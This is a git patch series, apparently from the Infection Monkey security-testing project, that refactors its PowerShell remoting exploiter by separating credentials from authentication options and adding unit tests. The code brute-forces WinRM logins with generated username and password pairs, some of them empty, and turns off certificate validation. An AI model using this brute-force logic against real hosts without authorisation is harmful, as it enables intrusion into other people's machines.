From 19c1d5c1aea7a81493c3114d4315933607f5c6e3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 12:05:08 -0400 Subject: [PATCH 01/13] Agent: Rename credential_generation -> credential_generators --- monkey/infection_monkey/exploit/powershell.py | 2 +- .../{credential_generation.py => credential_generators.py} | 0 .../infection_monkey/exploit/powershell_utils/test_utils.py | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) rename monkey/infection_monkey/exploit/powershell_utils/{credential_generation.py => credential_generators.py} (100%) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 69e7afe95..d6c5dba2c 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -14,7 +14,7 @@ from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials +from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.exploit.powershell_utils.utils import ( IClient, get_client_based_on_auth_options, diff --git a/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py b/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py similarity index 100% rename from monkey/infection_monkey/exploit/powershell_utils/credential_generation.py rename to monkey/infection_monkey/exploit/powershell_utils/credential_generators.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py index 65ecea49e..3ba5388f9 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -1,6 +1,6 @@ from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials +from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.model.host import VictimHost TEST_USERNAMES = ["user1", "user2"] From b3436d660f9f6244f9a768b638c50994b004efc0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 12:06:58 -0400 Subject: [PATCH 02/13] Tests: Move PowerShell get_credentials() tests Move the tests for the PowerShell exploiter's get_credentials() function to test_credential_generators.py, since get_credentials() is now contained in credential_generators.py --- .../test_credential_generators.py | 45 +++++++++++++++++++ .../exploit/powershell_utils/test_utils.py | 45 ------------------- 2 files changed, 45 insertions(+), 45 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py new file mode 100644 index 000000000..15595bc84 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py @@ -0,0 +1,45 @@ +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials + +TEST_USERNAMES = ["user1", "user2"] +TEST_PASSWORDS = ["p1", "p2"] + + +def test_get_credentials__empty_windows_true(): + credentials = get_credentials([], [], True, True) + + assert len(credentials) == 1 + assert credentials[0] == AuthOptions(username=None, password=None, is_https=False) + + +def test_get_credentials__empty_windows_false(): + credentials = get_credentials([], [], False, True) + + assert len(credentials) == 0 + + +def test_get_credentials__username_only_windows_true(): + credentials = get_credentials(TEST_USERNAMES, [], True, True) + + assert len(credentials) == 5 + assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials + + +def test_get_credentials__username_only_windows_false(): + credentials = get_credentials(TEST_USERNAMES, [], False, True) + + assert len(credentials) == 2 + assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials + + +def test_get_credentials__username_password_windows_true(): + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True) + + assert len(credentials) == 9 + for user in TEST_USERNAMES: + for password in TEST_PASSWORDS: + assert AuthOptions(username=user, password=password, is_https=True) in credentials diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py index 3ba5388f9..de5ca3b5d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -1,51 +1,6 @@ from infection_monkey.exploit.powershell_utils import utils -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.model.host import VictimHost -TEST_USERNAMES = ["user1", "user2"] -TEST_PASSWORDS = ["p1", "p2"] - - -def test_get_credentials__empty_windows_true(): - credentials = get_credentials([], [], True, True) - - assert len(credentials) == 1 - assert credentials[0] == AuthOptions(username=None, password=None, is_https=False) - - -def test_get_credentials__empty_windows_false(): - credentials = get_credentials([], [], False, True) - - assert len(credentials) == 0 - - -def test_get_credentials__username_only_windows_true(): - credentials = get_credentials(TEST_USERNAMES, [], True, True) - - assert len(credentials) == 5 - assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials - - -def test_get_credentials__username_only_windows_false(): - credentials = get_credentials(TEST_USERNAMES, [], False, True) - - assert len(credentials) == 2 - assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials - - -def test_get_credentials__username_password_windows_true(): - credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True) - - assert len(credentials) == 9 - for user in TEST_USERNAMES: - for password in TEST_PASSWORDS: - assert AuthOptions(username=user, password=password, is_https=True) in credentials - def test_build_monkey_execution_command(): host = VictimHost("127.0.0.1") From 892aa83b396e82f5f95a4b5c328d8178dc9b153f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 12:54:32 -0400 Subject: [PATCH 03/13] Agent: Separate AuthOptions from Credentials --- monkey/infection_monkey/exploit/powershell.py | 46 +++++++++++-------- .../exploit/powershell_utils/auth_options.py | 5 +- .../auth_options_generators.py | 19 ++++++++ .../powershell_utils/credential_generators.py | 29 +++++------- .../exploit/powershell_utils/credentials.py | 8 ++++ .../exploit/powershell_utils/utils.py | 20 ++++---- .../test_auth_options_generators.py | 45 ++++++++++++++++++ .../test_credential_generators.py | 28 +++++------ 8 files changed, 134 insertions(+), 66 deletions(-) create mode 100644 monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py create mode 100644 monkey/infection_monkey/exploit/powershell_utils/credentials.py create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index d6c5dba2c..9069406f8 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -14,7 +14,9 @@ from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.exploit.powershell_utils.utils import ( IClient, get_client_based_on_auth_options, @@ -58,13 +60,11 @@ class PowerShellExploiter(HostExploiter): return False credentials = get_credentials( - self._config.exploit_user_list, - self._config.exploit_password_list, - is_windows_os(), - is_https=is_https, + self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() ) + auth_options = get_auth_options(credentials, is_https) - self.client = self._authenticate_via_brute_force(credentials) + self.client = self._authenticate_via_brute_force(credentials, auth_options) if not self.client: return False @@ -91,44 +91,50 @@ class PowerShellExploiter(HostExploiter): raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") def _try_http(self): - auth_options_http = AuthOptions( + credentials = Credentials( username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], - is_https=False, ) - self._authenticate(auth_options_http) + auth_options = AuthOptions( + ssl=False, + ) + self._authenticate(credentials, auth_options) def _try_https(self): - auth_options_http = AuthOptions( + credentials = Credentials( username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], - is_https=True, ) - self._authenticate(auth_options_http) + auth_options = AuthOptions( + ssl=True, + ) + self._authenticate(credentials, auth_options) - def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]: - for credential in credentials: + def _authenticate_via_brute_force( + self, credentials: [Credentials], auth_options: [AuthOptions] + ) -> Optional[IClient]: + for (creds, opts) in zip(credentials, auth_options): try: - client = self._authenticate(credential) + client = self._authenticate(creds, opts) LOG.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{credential.username}" + f"{creds.username}" ) - self.report_login_attempt(True, credential.username, credential.password) + self.report_login_attempt(True, creds.username, creds.password) return client except Exception as ex: # noqa: F841 LOG.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{credential.username}, Error: {ex}" + f"{creds.username}, Error: {ex}" ) - self.report_login_attempt(False, credential.username, credential.password) + self.report_login_attempt(False, creds.username, creds.password) return None - def _authenticate(self, auth_options: AuthOptions) -> IClient: - client = get_client_based_on_auth_options(self.host.ip_addr, auth_options) + def _authenticate(self, credentials: Credentials, auth_options: AuthOptions) -> IClient: + client = get_client_based_on_auth_options(self.host.ip_addr, credentials, auth_options) # attempt to execute dir command to know if authentication was successful client.execute_cmd("dir") diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 09b5d3e8b..5d590d166 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,9 +1,6 @@ from dataclasses import dataclass -from typing import Union @dataclass class AuthOptions: - username: Union[str, None] - password: Union[str, None] - is_https: bool + ssl: bool diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py new file mode 100644 index 000000000..304d798da --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py @@ -0,0 +1,19 @@ +from typing import List + +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials + + +def get_auth_options(credentials: List[Credentials], ssl: bool) -> List[AuthOptions]: + auth_options = [] + + for cred in credentials: + opts = AuthOptions(ssl) + + # Passwordless login only works with SSL false + if cred.password == "": + opts.ssl = False + + auth_options.append(opts) + + return auth_options diff --git a/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py b/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py index a376555ca..79840a800 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py @@ -1,46 +1,41 @@ from itertools import product from typing import List -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials def get_credentials( - usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool -) -> List[AuthOptions]: + usernames: List[str], passwords: List[str], is_windows: bool +) -> List[Credentials]: credentials = [] credentials.extend(_get_empty_credentials(is_windows)) credentials.extend(_get_username_only_credentials(usernames, is_windows)) - credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https)) + credentials.extend(_get_username_password_credentials(usernames, passwords)) return credentials -def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]: +def _get_empty_credentials(is_windows: bool) -> List[Credentials]: if is_windows: - return [AuthOptions(username=None, password=None, is_https=False)] + return [Credentials(username=None, password=None)] return [] -def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]: - credentials = [ - AuthOptions(username=username, password="", is_https=False) for username in usernames - ] +def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: + credentials = [Credentials(username=username, password="") for username in usernames] if is_windows: credentials.extend( - [AuthOptions(username=username, password=None, is_https=True) for username in usernames] + [Credentials(username=username, password=None) for username in usernames] ) return credentials def _get_username_password_credentials( - usernames: List[str], passwords: List[str], is_https: bool -) -> List[AuthOptions]: + usernames: List[str], passwords: List[str] +) -> List[Credentials]: username_password_pairs = product(usernames, passwords) - return [ - AuthOptions(credentials[0], credentials[1], is_https=is_https) - for credentials in username_password_pairs - ] + return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs] diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py new file mode 100644 index 000000000..1a11b3f18 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -0,0 +1,8 @@ +from dataclasses import dataclass +from typing import Union + + +@dataclass +class Credentials: + username: Union[str, None] + password: Union[str, None] diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index b6198141d..1b8a92e4c 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -2,6 +2,7 @@ from pypsrp.client import Client from typing_extensions import Protocol from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline @@ -34,22 +35,19 @@ class IClient(Protocol): pass -def get_client_based_on_auth_options(ip_addr: str, auth_options: AuthOptions) -> IClient: - +def get_client_based_on_auth_options( + ip_addr: str, credentials: Credentials, auth_options: AuthOptions +) -> IClient: # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - if auth_options.password == "": - ssl = False - else: - ssl = auth_options.is_https - auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC - encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER + auth = AUTH_NEGOTIATE if credentials.password != "" else AUTH_BASIC + encryption = ENCRYPTION_AUTO if credentials.password != "" else ENCRYPTION_NEVER return Client( ip_addr, - username=auth_options.username, - password=auth_options.password, + username=credentials.username, + password=credentials.password, cert_validation=False, - ssl=ssl, + ssl=auth_options.ssl, auth=auth, encryption=encryption, connection_timeout=CONNECTION_TIMEOUT, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py new file mode 100644 index 000000000..61a4583a0 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py @@ -0,0 +1,45 @@ +# from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options +from infection_monkey.exploit.powershell_utils.credentials import Credentials + +CREDENTIALS = [ + Credentials("user1", "password1"), + Credentials("user2", ""), + Credentials("user3", None), +] + + +def test_get_auth_options__ssl_true_with_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=True) + + assert auth_options[0].ssl + + +def test_get_auth_options__ssl_true_empty_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=True) + + assert not auth_options[1].ssl + + +def test_get_auth_options__ssl_true_none_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=True) + + assert auth_options[2].ssl + + +def test_get_auth_options__ssl_false_with_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=False) + + assert not auth_options[0].ssl + + +def test_get_auth_options__ssl_false_empty_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=False) + + assert not auth_options[1].ssl + + +def test_get_auth_options__ssl_false_none_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=False) + + assert not auth_options[2].ssl diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py index 15595bc84..7c41827ab 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py @@ -1,45 +1,45 @@ -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials TEST_USERNAMES = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] def test_get_credentials__empty_windows_true(): - credentials = get_credentials([], [], True, True) + credentials = get_credentials([], [], True) assert len(credentials) == 1 - assert credentials[0] == AuthOptions(username=None, password=None, is_https=False) + assert credentials[0] == Credentials(username=None, password=None) def test_get_credentials__empty_windows_false(): - credentials = get_credentials([], [], False, True) + credentials = get_credentials([], [], False) assert len(credentials) == 0 def test_get_credentials__username_only_windows_true(): - credentials = get_credentials(TEST_USERNAMES, [], True, True) + credentials = get_credentials(TEST_USERNAMES, [], True) assert len(credentials) == 5 - assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials + assert Credentials(username=TEST_USERNAMES[0], password="") in credentials + assert Credentials(username=TEST_USERNAMES[1], password="") in credentials + assert Credentials(username=TEST_USERNAMES[0], password=None) in credentials + assert Credentials(username=TEST_USERNAMES[1], password=None) in credentials def test_get_credentials__username_only_windows_false(): - credentials = get_credentials(TEST_USERNAMES, [], False, True) + credentials = get_credentials(TEST_USERNAMES, [], False) assert len(credentials) == 2 - assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials + assert Credentials(username=TEST_USERNAMES[0], password="") in credentials + assert Credentials(username=TEST_USERNAMES[1], password="") in credentials def test_get_credentials__username_password_windows_true(): - credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True) + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True) assert len(credentials) == 9 for user in TEST_USERNAMES: for password in TEST_PASSWORDS: - assert AuthOptions(username=user, password=password, is_https=True) in credentials + assert Credentials(username=user, password=password) in credentials From da3475c645e4c7d1a59e48e9100f7c63ac74ac64 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:20:54 -0400 Subject: [PATCH 04/13] Agent: Move Powershell auth and encryption selection to AuthOptions --- monkey/infection_monkey/exploit/powershell.py | 10 +++- .../exploit/powershell_utils/auth_options.py | 7 +++ .../auth_options_generators.py | 23 ++++---- .../exploit/powershell_utils/utils.py | 13 +---- .../test_auth_options_generators.py | 54 ++++++++++++++++--- 5 files changed, 80 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 9069406f8..3acc683a7 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -13,7 +13,11 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options import ( + AUTH_NEGOTIATE, + ENCRYPTION_AUTO, + AuthOptions, +) from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.exploit.powershell_utils.credentials import Credentials @@ -96,6 +100,8 @@ class PowerShellExploiter(HostExploiter): password=self._config.exploit_password_list[0], ) auth_options = AuthOptions( + auth_type=AUTH_NEGOTIATE, + encryption=ENCRYPTION_AUTO, ssl=False, ) self._authenticate(credentials, auth_options) @@ -106,6 +112,8 @@ class PowerShellExploiter(HostExploiter): password=self._config.exploit_password_list[0], ) auth_options = AuthOptions( + auth_type=AUTH_NEGOTIATE, + encryption=ENCRYPTION_AUTO, ssl=True, ) self._authenticate(credentials, auth_options) diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 5d590d166..50d0e24e5 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,6 +1,13 @@ from dataclasses import dataclass +AUTH_BASIC = "basic" +AUTH_NEGOTIATE = "negotiate" +ENCRYPTION_AUTO = "auto" +ENCRYPTION_NEVER = "never" + @dataclass class AuthOptions: + auth_type: str + encryption: str ssl: bool diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py index 304d798da..178060d9b 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py @@ -1,19 +1,24 @@ from typing import List -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options import ( + AUTH_BASIC, + AUTH_NEGOTIATE, + ENCRYPTION_AUTO, + ENCRYPTION_NEVER, + AuthOptions, +) from infection_monkey.exploit.powershell_utils.credentials import Credentials -def get_auth_options(credentials: List[Credentials], ssl: bool) -> List[AuthOptions]: +def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[AuthOptions]: auth_options = [] - for cred in credentials: - opts = AuthOptions(ssl) + for creds in credentials: + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + ssl = False if creds.password == "" else use_ssl + auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE + encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO - # Passwordless login only works with SSL false - if cred.password == "": - opts.ssl = False - - auth_options.append(opts) + auth_options.append(AuthOptions(auth_type, encryption, ssl)) return auth_options diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index 1b8a92e4c..642394a62 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -22,11 +22,6 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path } -AUTH_BASIC = "basic" -AUTH_NEGOTIATE = "negotiate" -ENCRYPTION_AUTO = "auto" -ENCRYPTION_NEVER = "never" - CONNECTION_TIMEOUT = 3 # Seconds @@ -38,17 +33,13 @@ class IClient(Protocol): def get_client_based_on_auth_options( ip_addr: str, credentials: Credentials, auth_options: AuthOptions ) -> IClient: - # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - auth = AUTH_NEGOTIATE if credentials.password != "" else AUTH_BASIC - encryption = ENCRYPTION_AUTO if credentials.password != "" else ENCRYPTION_NEVER - return Client( ip_addr, username=credentials.username, password=credentials.password, cert_validation=False, + auth=auth_options.auth_type, + encryption=auth_options.encryption, ssl=auth_options.ssl, - auth=auth, - encryption=encryption, connection_timeout=CONNECTION_TIMEOUT, ) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py index 61a4583a0..7a040d7c8 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py @@ -1,4 +1,10 @@ # from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options import ( + AUTH_BASIC, + AUTH_NEGOTIATE, + ENCRYPTION_AUTO, + ENCRYPTION_NEVER, +) from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credentials import Credentials @@ -10,36 +16,72 @@ CREDENTIALS = [ def test_get_auth_options__ssl_true_with_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=True) + auth_options = get_auth_options(CREDENTIALS, use_ssl=True) assert auth_options[0].ssl def test_get_auth_options__ssl_true_empty_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=True) + auth_options = get_auth_options(CREDENTIALS, use_ssl=True) assert not auth_options[1].ssl def test_get_auth_options__ssl_true_none_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=True) + auth_options = get_auth_options(CREDENTIALS, use_ssl=True) assert auth_options[2].ssl def test_get_auth_options__ssl_false_with_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=False) + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) assert not auth_options[0].ssl def test_get_auth_options__ssl_false_empty_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=False) + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) assert not auth_options[1].ssl def test_get_auth_options__ssl_false_none_password(): - auth_options = get_auth_options(CREDENTIALS, ssl=False) + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) assert not auth_options[2].ssl + + +def test_get_auth_options__auth_type_with_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[0].auth_type == AUTH_NEGOTIATE + + +def test_get_auth_options__auth_type_empty_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[1].auth_type == AUTH_BASIC + + +def test_get_auth_options__auth_type_none_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[2].auth_type == AUTH_NEGOTIATE + + +def test_get_auth_options__encryption_with_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[0].encryption == ENCRYPTION_AUTO + + +def test_get_auth_options__encryption_empty_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[1].encryption == ENCRYPTION_NEVER + + +def test_get_auth_options__encryption_none_password(): + auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + + assert auth_options[2].encryption == ENCRYPTION_AUTO From a060313d09f91d3c1661270705b48003584acff7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:33:06 -0400 Subject: [PATCH 05/13] Agent: Move get_auth_options() to auth_options.py --- monkey/infection_monkey/exploit/powershell.py | 2 +- .../exploit/powershell_utils/auth_options.py | 17 +++++++++++++ .../auth_options_generators.py | 24 ------------------- ...ons_generators.py => test_auth_options.py} | 2 +- 4 files changed, 19 insertions(+), 26 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py rename monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/{test_auth_options_generators.py => test_auth_options.py} (96%) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 3acc683a7..1765eaa6e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -17,8 +17,8 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_NEGOTIATE, ENCRYPTION_AUTO, AuthOptions, + get_auth_options, ) -from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.exploit.powershell_utils.utils import ( diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 50d0e24e5..a9c34e2cf 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,4 +1,7 @@ from dataclasses import dataclass +from typing import List + +from infection_monkey.exploit.powershell_utils.credentials import Credentials AUTH_BASIC = "basic" AUTH_NEGOTIATE = "negotiate" @@ -11,3 +14,17 @@ class AuthOptions: auth_type: str encryption: str ssl: bool + + +def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[AuthOptions]: + auth_options = [] + + for creds in credentials: + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + ssl = False if creds.password == "" else use_ssl + auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE + encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO + + auth_options.append(AuthOptions(auth_type, encryption, ssl)) + + return auth_options diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py deleted file mode 100644 index 178060d9b..000000000 --- 